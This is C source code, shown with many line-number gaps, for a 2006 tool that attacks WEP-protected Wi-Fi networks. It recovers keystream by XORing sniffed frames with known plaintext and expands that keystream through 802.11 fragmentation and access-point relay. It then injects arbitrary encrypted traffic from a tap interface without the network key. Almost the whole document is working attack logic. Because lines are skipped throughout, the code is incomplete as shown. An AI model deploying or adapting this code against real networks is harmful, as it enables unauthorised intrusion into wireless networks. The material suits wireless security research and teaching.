2 * Copyright (c) 2006, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
5 * Redistribution and use in source and binary forms, with or without
6 * modification, are permitted provided that the following conditions
8 * 1. Redistributions of source code must retain the above copyright
9 * notice, this list of conditions and the following disclaimer.
10 * 2. Redistributions in binary form must reproduce the above copyright
11 * notice, this list of conditions and the following disclaimer in the
12 * documentation and/or other materials provided with the distribution.
14 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
15 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
16 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
17 * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
18 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
19 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
20 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
21 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
22 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
23 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
28 #include <sys/endian.h>
30 #include <sys/select.h>
42 static char *known_pt_arp = "\xAA\xAA\x03\x00\x00\x00\x08\x06";
43 static char *known_pt_ip = "\xAA\xAA\x03\x00\x00\x00\x08\x00";
44 static int known_pt_len = 8;
85 printf("Usage: %s <opts>\n"
93 void load_prga(struct params *p)
98 fd = open(p->fname, O_RDONLY);
104 rd = read(fd, p->iv, 3);
108 printf("Short read\n");
112 rd = read(fd, p->prga, sizeof(p->prga));
117 printf("Loaded %d PRGA from %s\n", p->prga_len, p->fname);
121 void save_prga(struct params *p)
126 fd = open(p->fname, O_WRONLY | O_CREAT, 0644);
130 rd = write(fd, p->iv, 3);
134 printf("Short write\n");
138 rd = write(fd, p->prga, p->prga_len);
141 if (rd != p->prga_len) {
142 printf("Wrote %d/%d\n", rd, p->prga_len);
147 printf("Got %d bytes of PRGA\n", p->prga_len);
150 int is_arp(struct ieee80211_frame *wh, int len)
153 if (len > (sizeof(*wh) + 4 + 4 + 39))
159 void get_prga(struct params *p)
163 struct ieee80211_frame *wh;
168 rc = sniff(p->rx, buf, sizeof(buf));
172 wh = get_wifi(buf, &rc);
176 if (!frame_type(wh, IEEE80211_FC0_TYPE_DATA,
177 IEEE80211_FC0_SUBTYPE_DATA))
181 known_pt = known_pt_arp;
183 known_pt = known_pt_ip;
185 if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS)
190 if (memcmp(p->ap, bssid, 6) != 0)
193 if (!(wh->i_fc[1] & IEEE80211_FC1_WEP)) {
194 printf("Packet not WEP!\n");
198 ptr = (char*) (wh+1);
199 memcpy(p->iv, ptr, 3);
201 rc -= sizeof(wh) + 4;
203 assert(rc >= known_pt_len);
205 for (rc = 0; rc < known_pt_len; rc++) {
206 p->prga[rc] = known_pt[rc] ^ (*ptr);
214 void start(struct params *p)
227 memset(p->data, 0, p->data_len);
228 memcpy(p->data, "\xaa\xaa\x03\x00\x00\x00\x08\x06", 8);
229 p->data_ptr = p->data;
233 p->state = S_SEND_FRAG;
236 void send_packet(struct params *p)
239 struct ieee80211_frame *wh;
241 rc = inject(p->tx, p->packet, p->packet_len);
244 if (rc != p->packet_len) {
245 printf("Wrote %d/%d\n", rc, p->packet_len);
250 wh = (struct ieee80211_frame*) p->packet;
251 wh->i_fc[1] |= IEEE80211_FC1_RETRY;
253 if (gettimeofday(&p->last, NULL) == -1)
254 err(1, "gettimeofday()");
257 void send_frag(struct params *p)
259 struct ieee80211_frame *wh;
265 uLong crc = crc32(0L, Z_NULL, 0);
268 memset(p->packet, 0, sizeof(p->packet));
269 wh = (struct ieee80211_frame*) p->packet;
271 /* calculate how much data we need to copy */
272 dlen = p->prga_len - 4;
273 rem = p->data_ptr - p->data;
274 rem = p->data_len - rem;
282 wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
283 wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA;
284 wh->i_fc[1] |= IEEE80211_FC1_WEP;
285 wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS;
287 wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG;
292 memcpy(wh->i_addr1, p->ap, 6);
293 memcpy(wh->i_addr2, p->mac, 6);
294 memset(wh->i_addr3, 0xff, 6);
296 seqp = (short*) wh->i_seq;
297 *seqp = seqfn(p->seq, p->frag);
301 ptr = (char*) (wh+1);
302 memcpy(ptr, p->iv, 3);
304 memcpy(ptr, p->data_ptr, dlen);
307 crc = crc32(crc, ptr, dlen);
308 pcrc = (uLong*) (ptr+dlen);
312 for (i = 0; i < dlen+4; i++)
313 ptr[i] = ptr[i] ^ p->prga[i];
315 /* prepare for next frag */
316 p->packet_len = sizeof(*wh) + 4 + dlen + 4;
319 printf("Sening %sfrag [%d/%d] [len=%d]\n", last ? "last " : "",
320 p->seq, p->frag, dlen);
323 p->data_ptr = p->data;
330 p->state = S_WAIT_ACK;
333 void wait_ack(struct params *p)
341 struct ieee80211_frame *wh;
343 if (gettimeofday(&now, NULL) == -1)
344 err(1, "gettimeofday()");
346 /* check for timeout */
347 el = elapsed(&p->last, &now);
349 if (p->data_try >= 3) {
351 printf("Re-sending whole lot\n");
357 printf("Re-sending frag\n");
364 now.tv_sec = el/1000/1000;
365 now.tv_usec = el - now.tv_sec*1000*1000;
369 if (select(p->rx+1, &fds, NULL, NULL, &now) == -1)
372 if (!FD_ISSET(p->rx, &fds))
376 rc = sniff(p->rx, buf, sizeof(buf));
380 wh = get_wifi(buf, &rc);
384 if (!frame_type(wh, IEEE80211_FC0_TYPE_CTL, IEEE80211_FC0_SUBTYPE_ACK))
387 if (memcmp(p->mac, wh->i_addr1, 6) != 0)
392 p->state = S_WAIT_RELAY;
393 if (gettimeofday(&p->last, NULL) == -1)
394 err(1, "gettimeofday()");
397 p->state = S_SEND_FRAG;
400 void wait_relay(struct params *p)
408 struct ieee80211_frame *wh;
410 uLong crc = crc32(0L, Z_NULL, 0);
413 if (gettimeofday(&now, NULL) == -1)
414 err(1, "gettimeofday()");
416 el = elapsed(&p->last, &now);
419 printf("No relay\n");
425 now.tv_sec = el/1000/1000;
426 now.tv_usec = el - now.tv_sec*1000*1000;
430 if (select(p->rx+1, &fds, NULL, NULL, &now) == -1)
433 if (!FD_ISSET(p->rx, &fds))
437 rc = sniff(p->rx, buf, sizeof(buf));
441 wh = get_wifi(buf, &rc);
445 if (!frame_type(wh, IEEE80211_FC0_TYPE_DATA,
446 IEEE80211_FC0_SUBTYPE_DATA))
449 if (memcmp(wh->i_addr2, p->ap, 6) != 0)
452 if (memcmp(wh->i_addr3, p->mac, 6) != 0)
455 if (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) != 0)
458 /* lends different due to padding? */
459 if ( (rc - sizeof(*wh) - 8) != p->data_len)
463 assert(p->data_len >= p->prga_len);
464 ptr = (char*) (wh+1);
465 memcpy(p->iv, ptr, 3);
468 crc = crc32(crc, p->data, p->data_len);
469 pcrc = (uLong*) &p->data[p->data_len]; /* XXX overflow ph33r */
472 for (rc = 0; rc < p->data_len+4; rc++)
473 p->prga[rc] = p->data[rc] ^ ptr[rc];
475 p->prga_len = p->data_len+4;
480 void get_more_prga(struct params *p)
500 printf("WTF %d\n", p->state);
506 void read_tap(struct params *p)
510 struct ieee80211_frame *wh;
515 uLong crc = crc32(0L, Z_NULL, 0);
517 memset(p->packet, 0, sizeof(p->packet));
518 offset = sizeof(*wh) + 4 + 8 - 14;
519 rc = sizeof(p->packet) - offset;
520 ptr = &p->packet[offset];
522 rc = read(p->tap, ptr, rc);
526 memcpy(dst, ptr, sizeof(dst));
527 wh = (struct ieee80211_frame*) p->packet;
528 wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
529 wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA;
530 wh->i_fc[1] |= IEEE80211_FC1_WEP;
531 wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS;
535 memcpy(wh->i_addr1, p->ap, 6);
536 memcpy(wh->i_addr2, p->mac, 6);
537 memcpy(wh->i_addr3, dst, 6);
539 seq = (short*) wh->i_seq;
540 *seq = seqfn(p->seq++, 0);
543 ptr = (char*) (wh+1);
544 memcpy(ptr, p->iv, 3);
547 memcpy(ptr, "\xAA\xAA\x03\x00\x00\x00", 6);
551 crc = crc32(crc, ptr, rc);
552 pcrc = (uLong*) (ptr+rc);
557 assert(p->prga_len >= rc);
560 for (offset = 0; offset < rc; offset++)
561 ptr[offset] ^= p->prga[offset];
563 p->packet_len = sizeof(*wh) + 4 + rc;
566 p->state = S_WAIT_ACK;
570 void wait_tap_ack(struct params *p)
576 if (p->state == S_SEND_FRAG) {
584 void transmit(struct params *p)
596 printf("wtf %d\n", p->state);
602 int main(int argc, char *argv[])
605 char *iface = "wlan0";
609 memset(&p, 0, sizeof(p));
610 p.fname = "prga.log";
611 memcpy(p.mac, "\x00\x00\xde\xfa\xce\x0d", 6);
616 while ((ch = getopt(argc, argv, "hb:t:")) != -1) {
619 if (str2mac(p.ap, optarg) == -1) {
620 printf("Can't parse BSSID\n");
637 if ((p.rx = open_rx(iface)) == -1)
639 if ((p.tx = open_tx(iface)) == -1)
642 if ((p.tap = open_tap(tap)) == -1)
643 err(1, "open_tap()");
644 if (set_iface_mac(tap, p.mac) == -1)
645 err(1, "set_iface_mac()");
647 printf("Obtaining PRGA\n");
648 /* make sure we got some prga */
651 while (p.prga_len == 0)
654 /* lets grab some more */
655 while (p.prga_len < p.mtu)